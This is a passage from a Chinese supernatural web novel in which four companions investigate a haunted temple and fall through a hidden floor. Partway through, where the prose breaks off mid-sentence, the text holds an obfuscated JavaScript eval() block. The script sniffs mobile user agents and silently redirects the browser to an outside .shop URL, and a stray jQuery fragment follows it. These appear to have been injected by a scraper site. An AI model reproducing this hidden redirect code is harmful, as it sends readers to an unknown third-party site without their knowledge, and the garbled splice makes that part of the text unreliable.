看这一个对着布人,一个对着葫芦说话的架势,麦子再不问点什么都有对不起她们。问后得知这俩物件里分别住了只鬼后,麦子左右看看,又抬头看了看那传闻闹鬼的青云寺,竟然觉得接受良好,默默住嘴了。
商则本来难受得要死,听见芩竹十分顺畅的介绍他是一只鬼,尽管整个灵体涨得快要炸掉,也还是艰难地掰着芩竹的手撕扯嗓子道:“我不是——”
好嘛,布人说话了,麦子木着表情转过了身,决定等她们先解决自己的事情。
懵了半天终于有点回应,结果就是为了澄清一下自己的身份,芩竹也无话可说了,抓着他身子的手微微用力,企图拉回他的注意力,问:“你们怎么了?”
想来芩竹耐冷一绝,估计是因为她本人就冷,四周寒风夹着小雪粒扑在商则身上,都没这冷淡的几个字效用来的大。他原本被那乱糟糟的经文念出的躁动都被莫名安抚下来。
可那些声音还在继续,出口的每个符号都像大片的虫爬在商则的灵体上,这感觉和在王宅被铜针钉住的感觉不一样,一个是将他困住,一个似乎是在侵扰他的精神,不停地想让他做些什么。
商则从芩竹的手心挣扎两下,仰着头看向她:“他们念错了——那座寺庙。”
他的声音很小,加上山间小路灌进来的风涌在耳边,更是将他的声音盖得不剩什么,芩竹努力地没听到,将他放在脸侧才听见清内容,还有后面新加的一句:“没事,葫芦里那个也没事,只不过就是……”
后面的话被商则省略了下,但芩竹看着他的样子,大概也能猜到,无非就是有些难熬。
一般经文听了不说清心醒神,听后也是心旷神怡一片开朗,但这个在商则口中却和引出心底恶念没差,使人心生烦躁。
而且她腰间碎块又是如此动静……看来这寺是非去不可了。
芩竹心想着,将刚才商则说的转告给另外两人,又问了问桂枝,那头比商则还严重些,已经不愿开口了。她想了想,征得姜绾同意后,让那人用符纸把葫芦缠了一圈,里面状态才好转。
就是可惜了,商则这样的,没法缠。
几人又向上走,拐过了第一个弯,看见了高出石阶尽头,隐在树影中落了白雪的黑瓦灰墙。而这弯过后,那宛若百十号僧人同念的经文也清晰了起来。
姜绾“诶呦”了一声,使劲跺了跺脚,拽紧了肩上的包袱,发了声牢骚:“听得头都大了!”这种感觉麦子也有,但到底影响不如两个阴气很重的灵体,所以忍忍也就过去了。
芩竹则是完全无法感同身受,她依旧如常,稳得比那没有心的布娃娃还布娃娃。
跨上最后一节台阶,芩竹站定打量了一下眼前的寺。
门前房檐遮挡的地方雪落得薄,自然也能看见下面长得乱七八糟的杂草,牌匾门环这些本该亮堂的地方都是灰扑扑的没有半点色彩,就像不是破落一月,而是一年。
她收回眼神,低头想要推门,余光却看到些杂草的痕迹。
雪稍薄的地方那草似乎是往旁边长了长,顺着看过去,就由更杂乱的枯枝挡住了,但也能发现,枯枝后面有点什么。
芩竹歪了歪头,走过去掰着枯枝向后望了眼,似乎是个小小的观,也不确定,因为那里被雪埋了大半,什么也看不出了。
“那之前供着位神仙,但谁也不认识。”麦子随口道,她掏了掏耳朵,向青云寺努了努嘴,“我先跟你们进去一趟吧。”
姜绾巴不得来的人多些,当然没问题,看芩竹走过来,赶紧左边一个右边一个臂弯搂住,然后清了清嗓子:“准备好了吗,我要开了——”
她话音落下便闭上眼,抬脚要踹门,然而却踹了个空,睁眼一看竟是旁边两个已经先一步推开了左右两片门板,正要开口控诉一下,身边两人又要跨过门槛,只好赶紧抬脚跟上。
慌慌忙开门没什么感觉,这回站在院里面了,姜绾才觉得身后有些凉飕飕的,再听着这恼人还环绕在太阳穴边的嗡嗡诵经声,真是体感比王宅还难耐。
芩竹抓着腰间的碎块,脚陷在院中的积雪里,前进两步,踩中了某个东西,脚尖拨动了下,才发现那是把扫帚。
她站在原地停住,本是想看看碎块能否指出个位置,可等了会,这碎块竟然是在半空中悬起,再是自己打着旋不知该去往哪里。
这下她也没法子了,只能说着青云寺中确有蹊跷,说不定那里还藏着个碎块的残骸。
姜绾和麦子也是在院里转了一圈大致看了看。
旁边有几个在麦子记忆里供来客休息的房间都被积雪压塌了房檐,紧贴的几间房也是时不时滑下些雪块,看着岌岌可危,院里唯一看起来安全的,也只剩前面那个佛堂了。
几人小心走到堂前,站在门槛外面向里面看了一眼。
许是现在外面阴云密布,又没有僧人收拾,里面黑漆漆的,稍显低矮的房中摆着直抵房顶的高大佛像,在这昏暗的环境中似满面慈睦地与外面鬼祟打量的三人相望。
明明并没干什么亏心事,但这会除芩竹之外的两人都是被这一照面搞得心慌,浑身一僵站着不敢动了。
芩竹跨进门槛的一条腿顿住,奇怪地向旁边看了眼,将那只脚在地面踩实,顿时,诵经声更大,肩头那个本已经“死”了许久的布人忽然挣动一下就要滚下去,被她眼疾手快捞住。
她捧着商则的脑袋试图捂住他不存在的耳朵:“忍忍。”
姜绾跟着芩竹进来,环视四周,除了佛像前的一个孤零零的蒲团之外,其余什么也没有,头顶的房梁渗着黑印,往角落的地方走,上面还竖着冰渣,正下方的地面有一大片冰印。
大概这地方之前漏过雨,天冷后冻成了冰,还没化,又跟了大雪。
简直是……处处都是没人的样子,偏偏人声恼人。
芩竹从旁边的架子上拿下一只蜡烛,抬手拈了拈蜡芯,去找姜绾点着递给麦子,自己又点了一根拿在身前,染出一圈不大不小的昏黄光晕,并没起多大作用。
姜绾搓着胳膊站在靠近门的位置,缩在墙后挡住从外面吹进来的风,纳闷道:“你说一般闹鬼不都是些哭声或低声细语吗,怎么青云寺的鬼自己给自己念咒……”
麦子拿着芩竹给的蜡烛又在佛像前面晃了一圈听她说完笑答道:“人还自己咒自己呢,人家觉得好玩不行?”
姜绾张了张嘴又闭上,怎么感觉这位姐姐说话她总是有点接不上。自我怀疑了一会,她还是发表了见解:“我就是觉得念经这些人说不定是藏在哪,装出来故意吓唬人的!”
毕竟这寺庙除了氛围奇奇怪怪,其他一切正常,很难不这么怀疑。
“放着好好的青云寺不待着,一群和尚藏起来装鬼吓人——你觉不觉得……”
麦子带着笑意的声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582952|142769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在姜绾旁边响起。
看她的表情,就知道后半句截断的不是什么好话,姜绾瘪了瘪嘴,转过去看向芩竹,决定不理她了。
芩竹能听见她们那头打趣的话,她照常当成热闹的背景音放在脑后,弯腰看着佛像下的须弥座。座上花纹并不那么繁杂,卷草纹下圭脚的位置上刻着如意纹云样式,最边上还有个圆形的看不出花样的纹,像是新刻上去的,还很浅。
蜡烛的光照到的位置范围总归是小些,她蹲下身,伸手轻轻拂过上面的祥云纹,又向后离开身子,稍远些打量着整体。
总觉得,这里的花纹好像歪了。
芩竹没有多想,伸着蜡烛从圭脚边向外照去。
大门对着佛像,芩竹就蹲在像的边角,蜡烛那点火光被屋外的风吹得乱飘,晃得眼晕头也晕,但她还是在那里看到了一线不惹人注意的痕迹。
她停下动作,向前挪了挪步子,护着火光趴在那处看着——有一条黑线从须弥座下面的尖角伸出来大约三步的位置,又直角拐了弯延伸去大门的方向。
可为何是从座下一角的地方伸出来的呢?
她站起来,又转去佛像另一头蹲下,颇为艰难地才找到那条线。倒不是因为别的,而是这头的黑线贴着须弥座的边伸出来的,所以开始的时候有些难找。
啊,所以是座放斜了,才会一边压到黑线一边贴着线,但万一是线斜了呢?芩竹又站起来走到另一头。
她在这边跑来跑去,那边的姜绾看得一头雾水,边向这里走边问:“怎么了这是?”
这边芩竹摸着石座上下也看出了些门道。
之前觉出的那略显歪扭的花纹不是因为整个座放斜了,斜的只有最下面的那层如意祥云而已。
她收回手,搓了搓手指上的灰,刚要回答姜绾的话,麦子忽然扬声向这边说:“那我先走了,你们若要下山可以在石阶口等我。”说话间从墙后缓慢走到了门边的位置,还回过头来看了看这边。
姜绾看了麦子一眼,点点头表示知道了,余光看见芩竹也站起来,便凑过去看她要做什么,就见这位姐姐面无表情抬脚朝那佛像座上就是一脚。
啊呀呀!这动作是否有些不敬……
可这话姜绾终究是没得及说,出口的第一个音就被脚下猛然晃动震得重新咽进了胃,为稳住身形慌忙抓住芩竹的胳膊。
站在门边的麦子也没能幸免,而且那头发出的动静似乎更大一些,“嗵”的一下门槛边的地面直接陷下去了半截。她扶着门板才不至于摔倒,转头厉声道:“你干什么了!”
芩竹也是一头雾水,从乱颤的火光中仔细观察了下,才看出陷下去的地面是刚刚黑线圈出的那一块,刚好是门口到佛像三人站着的位置。
原来那不是什么“线”,而是一道拼接的痕迹。
她收回眼神,拉着姜绾准备走出这个下陷的地板:“我也——”
突然,地板又向下塌了一段,令人牙酸的吱吖声响了一下,还不等三人赶紧向外爬,靠近佛像那边的地板忽然像是失了拉力,接着整片木板倾斜骤然下塌。
失重感瞬间袭来,姜绾惊叫一声,芩竹一手扳着高出的地板边缘,一手下意识去拉她,却敌不过猛然降落的重量,也被带了下去。
门边的麦子则是根本没反应过来,坠落前匆匆拽了下门槛,也终是没有拉住,顺着倾斜的地板滚落下去。